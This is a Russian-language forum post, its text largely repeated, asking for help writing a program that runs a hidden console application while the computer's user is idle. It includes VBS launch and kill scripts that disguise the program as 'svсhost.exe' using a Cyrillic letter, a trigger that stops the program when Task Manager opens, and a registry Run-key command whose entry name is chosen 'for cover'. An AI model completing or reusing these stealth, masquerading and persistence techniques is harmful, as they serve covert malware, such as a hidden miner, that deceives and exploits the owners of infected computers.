xseed
22-04-2017, 19:39
Добрый день! Имеется необходимость скрытого запуска консольного приложения, если пользователь не работает за компьютером и автоматического прекращения его работы при любой активности пользователя.
Условия неактивности пользователя, если более 5 минут:
- не нажимаются никакие кнопки на клавиатуре или мыши;
- не крутится колесо мыши;
- не перемещается курсор на расстояние более 10 пикселей;
- не запущен диспетчер задач Windows.
Пользователь считается активным, если любое из вышеперечисленных условий не выполняется. При этом приложение должно скрыто убиваться.
Как сделать скрытый запуск приложения (без появления консольного окна), я разобрался: достаточно создать файл run.vbs следующего содержания:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run"C:\Windows\System32\svсhost.exe", 0, true
тут svсhost.exe - переименованный файл программы (с одной русской буквой).
Соответственно сделать скрытую остановку программы можно скриптом run2.vbs:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run"C:\Windows\System32\TASKKILL /F /IM C:\Windows\System32\svсhost.exe /T", 0, true
Хотелось все это организовать в скомпилированный exe-файл скрипта AutoIt, который бы контролировал процесс старта и остановки приложения, и запускать его через один из ключей автозапуска в реестре:
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "что то для прикрытия" /t REG_SZ /d "Имя и путь к скомпилированному файлу скрипта" /f
Вот наткнулся на такой скрипт, но кажется, мне он не совсем подходит:
:: Auto.it Запуск приложения при простое компьютера.
#include<WinAPI.au3>
#include<StructureConstants.au3>
#include<WindowsConstants.au3>
OnAutoItExitRegister("__Exit")
Global $trTime
$hStub=DllCallbackRegister("__Event","long","int;wparam;lparam")
$hModule=_WinAPI_GetModuleHandle(0)
$hHookM=_WinAPI_SetWindowsHookEx($wh_mouse_ll,DllCallbackGetPtr($hStub),$hModule)
While 1
Sleep(200)
$trTime+=200
If $trTime=(5*60*1000) Then
$trTime=0
ProcessWaitClose(Run("defrag.exe D:",'',@SW_HIDE))
EndIf
WEnd
Func __Event($nCode,$wPar,$lPar)
If $nCode<0 Then Return _WinAPI_CallNextHookEx($hHookM,$nCode,$wPar,$lPar)
Local $tKEY=BitAND($wPar,0xFFFF)
If $tKEY=$wm_mousemove Then
$trTime=0
ProcessClose("defrag.exe")
EndIf
EndFunc
Func __Exit()
_WinAPI_UnhookWindowsHookEx($hHookM)
DllCallbackFree($hStub)
EndFunc
Пожалуйста, помогите подправить.
Условия неактивности пользователя, если более 5 минут:
- не нажимаются никакие кнопки на клавиатуре или мыши;
- не крутится колесо мыши;
- не перемещается курсор на расстояние более 10 пикселей;
- не запущен диспетчер задач Windows.
Пользователь считается активным, если любое из вышеперечисленных условий не выполняется. При этом приложение должно скрыто убиваться.
Как сделать скрытый запуск приложения (без появления консольного окна), я разобрался: достаточно создать файл run.vbs следующего содержания:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run"C:\Windows\System32\svсhost.exe", 0, true
тут svсhost.exe - переименованный файл программы (с одной русской буквой).
Соответственно сделать скрытую остановку программы можно скриптом run2.vbs:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run"C:\Windows\System32\TASKKILL /F /IM C:\Windows\System32\svсhost.exe /T", 0, true
Хотелось все это организовать в скомпилированный exe-файл скрипта AutoIt, который бы контролировал процесс старта и остановки приложения, и запускать его через один из ключей автозапуска в реестре:
@reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "что то для прикрытия" /t REG_SZ /d "Имя и путь к скомпилированному файлу скрипта" /f
Вот наткнулся на такой скрипт, но кажется, мне он не совсем подходит:
:: Auto.it Запуск приложения при простое компьютера.
#include<WinAPI.au3>
#include<StructureConstants.au3>
#include<WindowsConstants.au3>
OnAutoItExitRegister("__Exit")
Global $trTime
$hStub=DllCallbackRegister("__Event","long","int;wparam;lparam")
$hModule=_WinAPI_GetModuleHandle(0)
$hHookM=_WinAPI_SetWindowsHookEx($wh_mouse_ll,DllCallbackGetPtr($hStub),$hModule)
While 1
Sleep(200)
$trTime+=200
If $trTime=(5*60*1000) Then
$trTime=0
ProcessWaitClose(Run("defrag.exe D:",'',@SW_HIDE))
EndIf
WEnd
Func __Event($nCode,$wPar,$lPar)
If $nCode<0 Then Return _WinAPI_CallNextHookEx($hHookM,$nCode,$wPar,$lPar)
Local $tKEY=BitAND($wPar,0xFFFF)
If $tKEY=$wm_mousemove Then
$trTime=0
ProcessClose("defrag.exe")
EndIf
EndFunc
Func __Exit()
_WinAPI_UnhookWindowsHookEx($hHookM)
DllCallbackFree($hStub)
EndFunc
Пожалуйста, помогите подправить.